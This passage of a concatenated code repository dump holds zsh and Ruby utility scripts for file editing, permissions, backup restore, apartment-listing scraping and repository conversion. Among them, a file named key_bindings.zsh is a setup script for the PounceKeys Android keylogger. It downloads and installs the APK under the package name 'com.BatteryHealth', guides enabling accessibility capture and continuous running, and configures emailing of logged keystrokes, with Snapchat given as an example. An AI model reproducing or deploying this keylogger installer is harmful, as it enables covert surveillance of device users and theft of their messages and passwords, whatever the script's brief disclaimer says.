== */vendor/* ]] &amp;&amp; continue\n  lint_ruby \"$file\"\ndone\n\nprint \"lint done\"\n```\n\n## `sh/open_in_vim.zsh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\nsetopt nullglob extendedglob\n\n#\n\n# OPENS MATCHING TEXT FILES IN VIM\n\n#\n\n# Usage: hack \n\n#\n\n# Pure zsh approach:\n\n# - **/*(.N) glob qualifier for files only\n\n# - [[ ]] pattern matching instead of grep\n\ndir=${1:-\".\"}\n\n# Only process text files using glob qualifier (.N = files, nullglob)\n\nfor file in **/*(.N); do\n\n  # Search pattern using zsh pattern matching\n\n  if [[ -z \"$1\" ]] || [[ $(&lt;\"$file\") == *\"$1\"* ]]; then\n\n    vim \"$file\"\n\n  fi\n\ndone\n```\n\n## `sh/perms.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\n# Changes file ownership and permissions.\n\n# Usage: ./perms.sh    \n\nif (( $# &lt; 4 )); then\n\n  print \"Usage: $0    \"\n\n  exit 1\n\nfi\n\nowner_group=\"$1:$2\"\n\nfile_perms=\"$3\"\n\nfolder_perms=\"$4\"\n\nif [[ ! \"$file_perms\" =~ ^[0-7]{3}$ ]]; then\n\n  print \"Error: File perms must be 3 digits (e.g., 644)\"\n\n  exit 1\n\nfi\n\nif [[ ! \"$folder_perms\" =~ ^[0-7]{3}$ ]]; then\n\n  print \"Error: Folder perms must be 3 digits (e.g., 755)\"\n\n  exit 1\n\nfi\n\nprint \"Owner:group = $owner_group\"\n\nprint \"File perms  = $file_perms\"\n\nprint \"Folder perms = $folder_perms\"\n\nprint \"Apply? (y/N)\"\n\nread -r confirm\n\nif [[ \"$confirm\" =~ ^[Yy]$ ]]; then\n\n  chown -R \"$owner_group\" ./**/* 2&gt;&gt;\"$HOME/script_errors.log\"\n\n  if [[ $? -ne 0 ]]; then\n\n    print \"Some chown failed; see $HOME/script_errors.log\"\n\n  fi\n\n  chmod -R \"$file_perms\" ./**/*(.) 2&gt;&gt;\"$HOME/script_errors.log\"\n\n  if [[ $? -ne 0 ]]; then\n\n    print \"Some file perms failed\"\n\n  fi\n\n  chmod -R \"$folder_perms\" ./**/*(/) 2&gt;&gt;\"$HOME/script_errors.log\"\n\n  if [[ $? -ne 0 ]]; then\n\n    print \"Some folder perms failed\"\n\n  fi\n\n  print \"Done.\"\n\nelse\n\n  print \"Cancelled.\"\n\nfi\n```\n\n## `sh/replace.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\nsetopt nullglob extendedglob\n\n# Swaps out words in files or renames them.\n\n# Usage: ./replace.sh [-f]   [folder]\n\n# Pure zsh approach:\n\n# - Added missing -uo pipefail\n\n# - Fixed undefined $backup variable\n\n# - Replace sed with pure parameter expansion for in-file replacements\n\n# - [[ ]] for all conditionals\n\nis_filename=false\n\nif [[ \"$1\" == \"-f\" ]]; then\n\n  is_filename=true\n\n  shift\n\nfi\n\nold_str=\"$1\"\n\nnew_str=\"$2\"\n\nfolder=\"${3:-.}\"\n\n# Validation\n\nif [[ -z \"$old_str\" || -z \"$new_str\" ]]; then\n\n  print \"Error: old and new strings required\"\n\n  print \"Usage: ./replace.sh [-f]   [folder]\"\n\n  exit 1\n\nfi\n\nif [[ ! -d \"$folder\" ]]; then\n\n  print \"Error: '$folder' is not a directory\"\n\n  exit 1\n\nfi\n\nfor file in \"$folder\"/**/*(.N); do\n\n  if \"$is_filename\"; then\n\n    # Rename files: use pure zsh parameter expansion\n\n    new_file=\"${file//$old_str/$new_str}\"\n\n    if [[ \"$file\" != \"$new_file\" &amp;&amp; ! -e \"$new_file\" ]]; then\n\n      mv \"$file\" \"$new_file\" 2&gt;/dev/null\n\n      if [[ $? -eq 0 ]]; then\n\n        print \"Renamed: $file -&gt; $new_file\"\n\n      else\n\n        print \"Failed: $file\"\n\n      fi\n\n    fi\n\n  else\n\n    # Replace in file content\n\n    # Check if it's a text file (pure zsh pattern matching)\n\n    local file_type=$(file -b \"$file\" 2&gt;/dev/null)\n\n    if [[ \"$file_type\" == *text* ]]; then\n\n      # Check if file contains the search string (pure zsh)\n\n      local content=$(&lt;\"$file\" 2&gt;/dev/null)\n\n      if [[ \"$content\" == *\"$old_str\"* ]]; then\n\n        # Replace using pure zsh parameter expansion (global replace)\n\n        local new_content=\"${content//$old_str/$new_str}\"\n\n        # Only write if content changed\n\n        if [[ \"$content\" != \"$new_content\" ]]; then\n\n          # Create backup\n\n          cp \"$file\" \"$file.bak\" 2&gt;/dev/null || print \"Backup failed: $file\"\n\n          # Write new content using print -r (raw output)\n\n          print -rn -- \"$new_content\" &gt; \"$file\" 2&gt;/dev/null\n\n          if [[ $? -eq 0 ]]; then\n\n            print \"Updated: $file\"\n\n          else\n\n            print \"Failed: $file\"\n\n            # Restore from backup on failure\n\n            [[ -f \"$file.bak\" ]] &amp;&amp; mv \"$file.bak\" \"$file\"\n\n          fi\n\n        fi\n\n      fi\n\n    fi\n\n  fi\n\ndone\n```\n\n## `sh/restore_backups.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\nROOT_DIR=\"${0:A:h:h}\"\nRESTORE_TMP=\"$ROOT_DIR/tmp/restore\"\n\nlog() { printf '[restore] %s\\n' \"$*\"; }\n\nrestore_repo_tree() {\n  local src=\"$1\"\n  local dest=\"$2\"\n  if [[ -d \"$src\" ]]; then\n    log \"restoring $(basename \"$dest\") from ${src#$ROOT_DIR/}\"\n    rm -rf \"$dest\"\n    mkdir -p \"$dest\"\n    rsync -a --delete --exclude '.git' \"$src/\" \"$dest/\"\n  else\n    log \"missing source: ${src#$ROOT_DIR/}\"\n  fi\n}\n\nextract_archives() {\n  local archive_root=\"$RESTORE_TMP/archives\"\n  mkdir -p \"$archive_root\"\n  local count=0\n  while IFS= read -r archive; do\n    count=$((count + 1))\n    local rel=\"${archive#$ROOT_DIR/}\"\n    local safe_name\n    safe_name=\"$(echo \"$rel\" | tr '/ ' '__')\"\n    local out_dir=\"$archive_root/$safe_name\"\n    mkdir -p \"$out_dir\"\n    case \"$archive\" in\n      *.tgz|*.tar.gz)\n        log \"extracting $rel\"\n        tar -xzf \"$archive\" -C \"$out_dir\" || log \"failed to extract $rel\"\n        ;;\n      *.zip)\n        log \"extracting $rel\"\n        unzip -q \"$archive\" -d \"$out_dir\" || log \"failed to extract $rel\"\n        ;;\n    esac\n  done &lt; &lt;(find \"$ROOT_DIR\" -type f \\( -name '*.tgz' -o -name '*.tar.gz' -o -name '*.zip' \\) -print)\n\n  if [[ \"$count\" -eq 0 ]]; then\n    log \"no .tgz/.tar.gz/.zip archives found in repo\"\n  fi\n}\n\nextract_rails_from_installers() {\n  local scripts_root=\"$ROOT_DIR/MASTER/DEPLOY/rails\"\n  local out_root=\"$ROOT_DIR/railsy\"\n  mkdir -p \"$out_root\"\n\n  ruby - \"$scripts_root\" \"$out_root\" &lt;&lt;'RUBY'\nrequire 'fileutils'\nscripts_root, out_root = ARGV\n\nscript_files = Dir.glob(File.join(scripts_root, '**', '*.{sh,zsh}')).sort\n\nscript_files.each do |script|\n  rel = script.sub(%r{^#{Regexp.escape(scripts_root)}/?}, '')\n  scope = rel.sub(/\\.(sh|zsh)\\z/, '')\n  lines = File.readlines(script, chomp: false)\n  i = 0\n\n  while i &lt; lines.length\n    line = lines[i]\n    m = line.match(/^\\s*cat\\s*(&gt;&gt;?)\\s*([\\\"']?)([^\\\"'\\s]+)\\2\\s*&lt;&lt;\\s*['\\\"]?([A-Za-z0-9_]+)['\\\"]?\\s*$/)\n    unless m\n      i += 1\n      next\n    end\n\n    mode = m[1]\n    target = m[3]\n    terminator = m[4]\n\n    i += 1\n    body = +\"\"\n    while i &lt; lines.length &amp;&amp; lines[i].strip != terminator\n      body &lt;&lt; lines[i]\n      i += 1\n    end\n\n    target = target.sub(%r{^\\./}, '')\n    target = target.sub(%r{^\\$\\{?[A-Z_][A-Z0-9_]*\\}?/}, '')\n    next if target.empty? || target.start_with?('$')\n\n    out_file = File.join(out_root, 'restored_apps', scope, target)\n    FileUtils.mkdir_p(File.dirname(out_file))\n\n    if mode == '&gt;&gt;' &amp;&amp; File.exist?(out_file)\n      File.open(out_file, 'a') { |f| f.write(body) }\n    else\n      File.write(out_file, body)\n    end\n\n    i += 1\n  end\nend\nRUBY\n\n  log \"restored installer-embedded app files into railsy/restored_apps\"\n}\n\nmain() {\n  mkdir -p \"$RESTORE_TMP\"\n\n  restore_repo_tree \"$ROOT_DIR/MASTER\" \"$ROOT_DIR/pub\"\n  restore_repo_tree \"$ROOT_DIR/__predecessors/MASTER2\" \"$ROOT_DIR/pub2\"\n  restore_repo_tree \"$ROOT_DIR/__predecessors/aight\" \"$ROOT_DIR/pub3\"\n  restore_repo_tree \"$ROOT_DIR/MASTER/DEPLOY/rails\" \"$ROOT_DIR/railsy\"\n\n  extract_archives\n  extract_rails_from_installers\n\n  log \"done\"\n}\n\nmain \"$@\"\n```\n\n## `sh/tools/apartments.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire 'logger'\nrequire 'sqlite3'\nrequire 'mail'\nrequire 'concurrent-ruby'\nrequire 'net/http'\nrequire_relative '../lib/scraper'\n\n# Main class for managing apartment hunting\nclass ApartmentHunter\n  TARGET_URL = 'https://www.finn.no/realestate/lettings/search.html'\n  NOTIFICATION_INTERVAL = 3600 # Notification interval in seconds\n\n  def initialize(api_key)\n    @api_key = api_key\n    @scraper = Scraper.new(@api_key, TARGET_URL)\n    @logger = Logger.new('apartment_hunter.log')\n    @user_webhook_url = nil # Optional: Set this if using webhooks for notification\n    setup_mailer\n    setup_database\n    define_search_criteria\n  end\n\n  def define_search_criteria\n    @search_criteria = {\n      city: 'Bergen',\n      max_price: 9000,\n      min_size: 20,\n      animals: true,\n      occupants: 2,\n      newly_refurbished: true,\n      city_center: true,\n      seaside: false,\n      outskirts: false,\n      family: false\n    }\n  end\n\n  def setup_mailer\n    settings = {\n      address: 'localhost',\n      port: 25,\n      enable_starttls_auto: false\n    }\n    Mailer.setup(settings)\n  end\n\n  def setup_database\n    @db = SQLite3::Database.new 'listings.db'\n    @db.execute &lt;&lt;-SQL\n      CREATE TABLE IF NOT EXISTS listings (\n        id INTEGER PRIMARY KEY AUTOINCREMENT,\n        url TEXT UNIQUE,\n        seen BOOLEAN NOT NULL DEFAULT FALSE\n      );\n    SQL\n  end\n\n  def monitor_listings\n    @logger.info('Starting to monitor listings...')\n    while keep_monitoring?\n      perform_listing_checks\n      sleep NOTIFICATION_INTERVAL\n    end\n    @logger.info('Monitoring stopped.')\n  end\n\n  def keep_monitoring?\n    true\n  end\n\n  def perform_listing_checks\n    Concurrent::Future.execute { process_listings }\n  end\n\n  def process_listings\n    listings = @scraper.fetch_listings\n    listings.each do |listing|\n      next if listing_seen?(listing[:url])\n\n      mark_listing_as_seen(listing[:url])\n      notify_user_of_listing(listing) if meets_criteria?(listing)\n    end\n  end\n\n  def listing_seen?(url)\n    result = @db.execute('SELECT seen FROM listings WHERE url = ?', [url])\n    !result.empty? &amp;&amp; result.first['seen'] == 1\n  end\n\n  def mark_listing_as_seen(url)\n    @db.execute('INSERT OR IGNORE INTO listings (url, seen) VALUES (?, TRUE)', [url])\n  end\n\n  def meets_criteria?(listing)\n    @search_criteria.all? { |key, value| listing[key] == value }\n  end\n\n  def notify_user_of_listing(listing)\n    if @user_webhook_url\n      send_webhook_notification(listing)\n    else\n      send_email_notification(listing)\n    end\n  end\n\n  def send_webhook_notification(listing)\n    uri = URI(@user_webhook_url)\n    response = Net::HTTP.post_form(uri, 'url' =&gt; listing[:url])\n    response.is_a?(Net::HTTPSuccess)\n  end\n\n  def send_email_notification(listing)\n    Mailer.send_email(\n      subject: 'New Apartment Listing Found!',\n      body: \"Found a new listing: #{listing[:url]}\",\n      to: 'user@example.com'\n    )\n  end\nend\n\nclass Mailer\n  def self.setup(options)\n    Mail.defaults { delivery_method :smtp, options }\n  end\n\n  def self.send_email(subject:, body:, to:, from: 'noreply@nav.no')\n    mail = Mail.new do\n      from from\n      to to\n      subject subject\n      body body\n    end\n    mail.deliver!\n  rescue StandardError =&gt; e\n    puts \"Failed to send email: #{e.message}\"\n  end\nend\n\nif __FILE__ == $0\n  api_key = ENV['API_KEY'] || raise('API key not set')\n  hunter = ApartmentHunter.new(api_key)\n  hunter.monitor_listings\nend\n```\n\n## `sh/tools/convert_python.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'octokit'\nrequire 'net/http'\nrequire 'uri'\nrequire 'json'\n\n# Configuration\nGITHUB_ACCESS_TOKEN = ENV['GITHUB_ACCESS_TOKEN']\nGITHUB_REPO = 'user/repo'  # Replace with the target GitHub repository\nCODE_CONVERSION_API = 'http://localhost:3000/convert'  # Your code conversion endpoint\nPROMPTS_FILE = 'prompts.txt' # Path to your prompts file\n\n# Initialize GitHub Client\nclient = Octokit::Client.new(access_token: GITHUB_ACCESS_TOKEN)\n\n# Load prompts from file\ndef load_prompts(file_path)\n  File.read(file_path).split(\"\\n\")\nrescue Errno::ENOENT\n  puts \"Prompts file not found!\"\n  []\nend\n\n# Function to crawl and convert code\ndef crawl_and_convert_code(client)\n  # Load prompts\n  prompts = load_prompts(PROMPTS_FILE)\n\n  # Fetch repositories\n  repos = client.repositories\n\n  repos.each do |repo|\n    # Fetch the files in the repository\n    tree = client.repository_contents(repo.full_name)\n    tree.each do |file|\n      next unless file[:name].end_with?('.py') # Only process Python files\n\n      # Fetch the Python file content\n      content = client.contents(repo.full_name, path: file[:path])\n      python_code = content[:content]\n\n      # Apply prompts to the Python code\n      enhanced_code = apply_prompts(python_code, prompts)\n\n      # Convert Python code to Ruby\n      ruby_code = convert_python_to_ruby(enhanced_code)\n\n      # Commit changes as a PR\n      create_pull_request(client, repo, file[:path], ruby_code)\n    end\n  end\nend\n\n# Function to apply prompts to the Python code\ndef apply_prompts(python_code, prompts)\n  # Modify the python_code based on prompts\n  prompts.each do |prompt|\n    # Example logic to enhance the python code based on the prompt\n    python_code = \"#{prompt}\\n#{python_code}\"  # This is a simplistic approach\n  end\n  python_code\nend\n\n# Function to convert Python code to Ruby using a local service\ndef convert_python_to_ruby(python_code)\n  uri = URI.parse(CODE_CONVERSION_API)\n  http = Net::HTTP.new(uri.host, uri.port)\n\n  request = Net::HTTP::Post.new(uri.path, { 'Content-Type' =&gt; 'application/json' })\n  request.body = { code: python_code }.to_json\n\n  response = http.request(request)\n  JSON.parse(response.body)['ruby_code']\nend\n\n# Function to create a pull request\ndef create_pull_request(client, repo, file_path, ruby_code)\n  # Create a new branch\n  branch_name = \"convert-#{File.basename(file_path, '.py')}-to-ruby\"\n  client.create_ref(repo.full_name, \"heads/#{branch_name}\", client.ref(repo.full_name, 'heads/master').object.sha)\n\n  # Create a new file with Ruby code in the new branch\n  client.create_contents(repo.full_name, \"path/to/#{File.basename(file_path, '.py')}.rb\", \"Converted Python code to Ruby\", ruby_code, branch: branch_name)\n\n  # Create a pull request\n  client.create_pull_request(repo.full_name, 'master', branch_name, \"Convert #{File.basename(file_path)} to Ruby\")\nend\n\n# Run the script\ncrawl_and_convert_code(client)\n\n```\n\n## `sh/tools/key_bindings.zsh`\n```bash\n# frozen_string_literal: true\n\n#!/data/data/com.termux/files/usr/bin/zsh\n\n# PounceKeys Installation and Setup Script\n# Purpose: Automates PounceKeys keylogger setup on Android via Termux\n# Features: Dependency installation, APK download, manual step guidance, email configuration\n# Security: No root, minimal permissions, checksum verification\n# Last updated: June 25, 2025\n# Legal: For personal use on your own device only; unauthorized use is illegal\n# $ref: master.json#/settings/core/comments_policy\n\n# Configuration (readonly for POLA)\n# $ref: master.json#/settings/optimization_patterns/enforce_least_privilege\nreadonly LOG_FILE=\"$HOME/pouncekeys_setup.log\"\nreadonly APK_FILE=\"$HOME/pouncekeys.apk\"\nreadonly APK_URL=\"https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk\"\nreadonly FALLBACK_URL=\"https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk\"\nreadonly PACKAGE_NAME=\"com.BatteryHealth\"\nreadonly MIN_ANDROID_VERSION=5\nreadonly MAX_ANDROID_VERSION=15\nreadonly EXPECTED_CHECKSUM=\"expected_sha256_hash_here\" # Replace with actual SHA256 from PounceKeys GitHub\n\n# Initialize logging (DRY, KISS)\n# $ref: master.json#/settings/communication/notification_policy\n[[ -f \"$LOG_FILE\" &amp;&amp; $(stat -f %z \"$LOG_FILE\") -gt 1048576 ]] &amp;&amp; mv \"$LOG_FILE\" \"${LOG_FILE}.old\"\necho \"PounceKeys Setup Log - $(date)\" &gt; \"$LOG_FILE\"\nexec 1&gt;&gt;\"$LOG_FILE\" 2&gt;&amp;1\n\n# Cleanup on exit (POLA, error recovery)\n# $ref: master.json#/settings/core/task_templates/refine\ntrap 'rm -f \"$APK_FILE\"; log_and_toast \"Script terminated, cleaned up.\"; exit 1' INT TERM\n\n# Log and toast function (DRY, NNGroup visibility)\n# $ref: master.json#/settings/communication/style\nlog_and_toast() {\n    echo \"[$(date +%H:%M:%S)] $1\"\n    termux-toast -s \"$1\" &gt;/dev/null 2&gt;&amp;1\n}\n\n# Legal disclaimer (NNGroup user control, YAGNI)\n# $ref: master.json#/settings/feedback/roles/lawyer\nlog_and_toast \"Starting PounceKeys setup\"\necho \"WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR).\"\necho \"Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs.\"\necho \"Press Y to confirm legal use, any other key to cancel...\"\nread -k 1 confirm\n[[ \"$confirm\" != \"Y\" &amp;&amp; \"$confirm\" != \"y\" ]] &amp;&amp; { log_and_toast \"Setup cancelled.\"; exit 0; }\n\n# Check prerequisites (error prevention, KISS)\n# $ref: master.json#/settings/core/task_templates/validate\nlog_and_toast \"Checking internet...\"\nping -c 1 google.com &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: No internet.\"\n    echo \"Solution: Connect to Wi-Fi or data. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Termux...\"\ncommand -v pkg &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: Termux not installed.\"\n    echo \"Solution: Install Termux from F-Droid.\"\n    exit 1\n}\n\n# Install dependencies (DRY, automated deployment)\n# $ref: master.json#/settings/installer_integration\nlog_and_toast \"Installing dependencies...\"\necho \"Install wget, curl, adb, termux-api, android-tools? (Y/N)\"\nread -k 1 install_deps\n[[ \"$install_deps\" == \"Y\" || \"$install_deps\" == \"y\" ]] &amp;&amp; {\n    pkg update -y &amp;&amp; pkg install -y wget curl termux-adb termux-api android-tools || {\n        log_and_toast \"Error: Package installation failed.\"\n        echo \"Solution: Check network, run 'pkg update' manually. Retry? (Y/N)\"\n        read -k 1 retry\n        [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n        exit 1\n    }\n}\n\n# Validate environment (error prevention, KISS)\n# $ref: master.json#/settings/core/task_templates/validate\nlog_and_toast \"Checking ADB...\"\nadb devices | grep -q device || {\n    log_and_toast \"Error: No device detected.\"\n    echo \"Solution: Enable USB debugging in Settings &gt; Developer Options. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Android version...\"\nANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)\n[[ \"$ANDROID_VERSION\" -lt $MIN_ANDROID_VERSION || \"$ANDROID_VERSION\" -gt $MAX_ANDROID_VERSION ]] &amp;&amp; {\n    log_and_toast \"Error: Android version $ANDROID_VERSION unsupported.\"\n    echo \"Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION.\"\n    exit 1\n}\n\n# Email configuration (NNGroup recognition, security)\n# $ref: master.json#/settings/communication/style\nlog_and_toast \"Configuring email...\"\necho \"Use Gmail? (Y/N)\"\nread -k 1 use_gmail\nif [[ \"$use_gmail\" == \"Y\" || \"$use_gmail\" == \"y\" ]]; then\n    SMTP_SERVER=\"smtp.gmail.com\"\n    SMTP_PORT=\"587\"\n    echo \"Enter Gmail address:\"\n    read smtp_user\n    echo \"Enter Gmail App Password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nelse\n    echo \"Enter SMTP server:\"\n    read SMTP_SERVER\n    echo \"Enter SMTP port:\"\n    read SMTP_PORT\n    echo \"Enter SMTP username:\"\n    read smtp_user\n    echo \"Enter SMTP password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nfi\n\n# Download and verify APK (DRY, robust error handling)\n# $ref: master.json#/settings/installer_integration/verify_integrity\nlog_and_toast \"Downloading APK...\"\nwget -O \"$APK_FILE\" \"$APK_URL\" || wget -O \"$APK_FILE\" \"$FALLBACK_URL\" || {\n    log_and_toast \"Error: Download failed.\"\n    echo \"Solution: Check network or download from PounceKeys GitHub.\"\n    exit 1\n}\n\nlog_and_toast \"Verifying APK...\"\nACTUAL_CHECKSUM=$(sha256sum \"$APK_FILE\" | awk '{print $1}')\n[[ \"$ACTUAL_CHECKSUM\" != \"$EXPECTED_CHECKSUM\" ]] &amp;&amp; {\n    log_and_toast \"Error: Checksum mismatch.\"\n    echo \"Solution: Delete $APK_FILE and retry.\"\n    rm -f \"$APK_FILE\"\n    exit 1\n}\n\n# Install APK (automated deployment, POLA)\n# $ref: master.json#/settings/core/task_templates/build\nlog_and_toast \"Installing APK...\"\necho \"Enable 'Install from Unknown Sources' in Settings &gt; Security.\"\necho \"1. Navigate to Settings &gt; Security (or Privacy).\"\necho \"2. Enable 'Install from Unknown Sources' for your browser or file manager.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\nadb install \"$APK_FILE\" || {\n    log_and_toast \"Error: Installation failed.\"\n    echo \"Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\nrm -f \"$APK_FILE\"\n\n# Configure PounceKeys (NNGroup recognition, accessibility compliance)\n# $ref: master.json#/settings/core/task_templates/refine\nlog_and_toast \"Enable accessibility service...\"\necho \"This allows PounceKeys to capture keystrokes.\"\necho \"1. Go to Settings &gt; Accessibility &gt; Downloaded Services.\"\necho \"2. Find PounceKeys, toggle ON, and confirm permissions.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\n\nlog_and_toast \"Disable battery optimization...\"\necho \"This ensures PounceKeys runs continuously.\"\necho \"1. Go to Settings &gt; Battery &gt; App Optimization.\"\necho \"2. Find PounceKeys, set to 'Don\u2019t optimize.'\"\necho \"Press Enter after disabling...\"\nread -p \"\"\n\nlog_and_toast \"Configure email in PounceKeys...\"\necho \"1. Open PounceKeys from app drawer.\"\necho \"2. Go to Settings &gt; Output &gt; Email.\"\necho \"3. Enter:\"\necho \"   - Server: $SMTP_SERVER\"\necho \"   - Port: $SMTP_PORT\"\necho \"   - Username: $smtp_user\"\necho \"   - Password: [your password]\"\necho \"   - Recipient: $recipient_email\"\necho \"Press Enter after configuring...\"\nread -p \"\"\n\n# Validation and testing (validation, user control)\n# $ref: master.json#/settings/core/task_templates/test\nlog_and_toast \"Setup complete!\"\necho \"Test by typing 'PounceKeys test' in any app.\"\necho \"Check $recipient_email for logs within 10 minutes.\"\necho \"Troubleshooting:\"\necho \"- No logs? Verify SMTP settings and accessibility.\"\necho \"- Uninstall: adb uninstall $PACKAGE_NAME\"\necho \"Log file: $LOG_FILE\"\necho \"EOF: pouncekeys_setup.zsh completed successfully\"\n# Line count: 110 (excluding comments)\n# Checksum: sha256sum pouncekeys_setup.zsh\n```\n\n## `sh/tools/tree.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# DEPLOY/sh/tools/tree.rb\n#\n# Constitution-aware project tree for pub4.\n# Respects skip_dirs from MASTER/data/rules.yml + aggressive pruning for overview.\n# Usage: ruby tree.rb [root] [--max-depth=3] [--summary]\n#\n# This exists because DEPLOY/sh/tree.sh was referenced for full overview\n# during major KISS/DRY architectural work on MASTER.\n\nrequire \"yaml\"\nrequire \"optparse\"\n\nclass ProjectTree\n  DEFAULT_SKIP = %w[\n    .git vendor tmp var node_modules .bundle coverage log dist\n    knowledge github_repos\n    DEPLOY/openbsd/var DEPLOY/rails\n  ].freeze\n\n  def initialize(root:, max_depth: 4, summary: false)\n    @root = File.expand_path(root)\n    @max_depth = max_depth\n    @summary = summary\n    @skip = load_skip_dirs\n    @counts = Hash.new(0)\n  end\n\n  def run\n    puts \"pub4/ (constitution-aware tree, skips: #{@skip.join(', ')})\"\n    puts\n\n    walk(@root, \"\", 0)\n\n    if @summary\n      puts\n      puts \"Summary:\"\n      puts \"  Total files: #{@counts['files']}\"\n      puts \"  Total dirs:  #{@counts['dirs']}\"\n\n      # Special useful breakdown for MASTER work\n      if @root.end_with?(\"MASTER\") || File.basename(@root) == \"MASTER\"\n        lib_dir = File.join(@root, \"lib\")\n        if Dir.exist?(lib_dir)\n          puts\n          puts \"  lib/ breakdown (key for KISS/DRY redesign):\"\n          breakdown_lib(lib_dir)\n        end\n      end\n    end\n  end\n\n  def breakdown_lib(lib_root)\n    subdirs = Dir.entries(lib_root)\n                 .select { |e| !e.start_with?(\".\") &amp;&amp; File.directory?(File.join(lib_root, e)) }\n                 .sort\n\n    subdirs.each do |sub|\n      full = File.join(lib_root, sub)\n      files = Dir.glob(File.join(full, \"**/*\")).select { |f| File.file?(f) }\n      file_count = files.size\n\n      small_file_count = files.count do |f|\n        begin\n          lines = File.readlines(f).size\n          lines &lt;= 30\n        rescue StandardError\n          false\n        end\n      end\n\n      line = \"    #{sub}/ : #{file_count} files\"\n      if small_file_count &gt; 5\n        line += \"  [KISS warning: #{small_file_count} tiny files \u2014 strong consolidation candidate]\"\n      elsif small_file_count &gt; 2\n        line += \"  (#{small_file_count} small files)\"\n      end\n      puts line\n    end\n  end\n\n  # Called when --redesign-audit is active\n  def redesign_audit\n    puts \"=== MASTER Redesign Audit (KISS/DENSITY focus) ===\"\n    puts \"Using rules thresholds: small files + fragmented policy dirs are high-priority targets.\"\n    puts\n\n    lib_root = File.join(@root, \"lib\")\n    return unless Dir.exist?(lib_root)\n\n    tiny_files = []\n\n    Dir.glob(File.join(lib_root, \"**/*.rb\")).each do |file|\n      next if should_skip?(file)\n      begin\n        lines = File.readlines(file).size\n        if lines &lt;= 30\n          tiny_files &lt;&lt; [file.sub(lib_root + \"/\", \"\"), lines]\n        end\n      rescue StandardError\n      end\n    end\n\n    puts \"Tiny files (\u2264 30 lines) \u2014 strong KISS/DENSITY violation candidates:\"\n    if tiny_files.any?\n      tiny_files.sort_by { |_, l| l }.each do |path, lines|\n        puts \"  #{path} (#{lines} lines)\"\n      end\n    else\n      puts \"  (none found in this scan)\"\n    end\n\n    puts\n    puts \"Ground/ policy fragmentation check:\"\n    ground_dir = File.join(lib_root, \"ground\")\n    if Dir.exist?(ground_dir)\n      policy_files = Dir.glob(File.join(ground_dir, \"*_policy.rb\")).size\n      puts \"  #{policy_files} separate *_policy.rb files in ground/\"\n      if policy_files &gt; 6\n        puts \"  \u2192 Strong recommendation: Consolidate using Ground::Policy (see recent progress)\"\n      end\n    end\n\n    puts\n    puts \"now/stages/ check:\"\n    stages_dir = File.join(lib_root, \"now/stages\")\n    if Dir.exist?(stages_dir)\n      stage_files = Dir.glob(File.join(stages_dir, \"*.rb\")).size\n      puts \"  #{stage_files} files in now/stages/\"\n      if stage_files &gt; 8\n        puts \"  \u2192 Good progress with trivial.rb \u2014 continue this pattern aggressively.\"\n      end\n    end\n  end\n\n  private\n\n  def load_skip_dirs\n    rules_path = File.join(@root, \"MASTER/data/rules.yml\")\n    return DEFAULT_SKIP unless File.exist?(rules_path)\n\n    begin\n      data = YAML.safe_load_file(rules_path, permitted_classes: [Symbol], aliases: true) || {}\n      from_yml = data.dig(\"paths\", \"skip_dirs\") || []\n      (from_yml + DEFAULT_SKIP).map(&amp;:to_s).uniq\n    rescue StandardError\n      DEFAULT_SKIP\n    end\n  end\n\n  def should_skip?(path)\n    rel = path.sub(@root + \"/\", \"\")\n    @skip.any? { |s| rel.start_with?(s) || rel == s }\n  end\n\n  def walk(dir, prefix, depth)\n    return if depth &gt; @max_depth\n\n    entries = begin\n      Dir.entries(dir).sort\n    rescue StandardError\n      return\n    end\n\n    entries.reject! { |e| e.start_with?(\".\") &amp;&amp; !%w[. ..].include?(e) } # hide most dots for clean overview\n    entries.reject! { |e| %w[. ..].include?(e) }\n\n    files = []\n    dirs = []\n\n    entries.each do |e|\n      full = File.join(dir, e)\n      next if should_skip?(full)\n\n      if File.directory?(full)\n        dirs &lt;&lt; e\n      else\n        files &lt;&lt; e\n      end\n    end\n\n    # Print files first (importance order style)\n    files.each_with_index do |f, i|\n      last = (i == files.size - 1) &amp;&amp; dirs.empty?\n      branch = last ? \"\u2514\u2500\u2500 \" : \"\u251c\u2500\u2500 \"\n      puts \"#{prefix}#{branch}#{f}\"\n      @counts[\"files\"] += 1\n    end\n\n    # Then subdirs\n    dirs.each_with_index do |d, i|\n      last = i == dirs.size - 1\n      branch = last ? \"\u2514\u2500\u2500 \" : \"\u251c\u2500\u2500 \"\n      full_path = File.join(dir, d)\n      puts \"#{prefix}#{branch}#{d}/\"\n\n      @counts[\"dirs\"] += 1\n\n      new_prefix = prefix + (last ? \"    \" : \"\u2502   \")\n      walk(full_path, 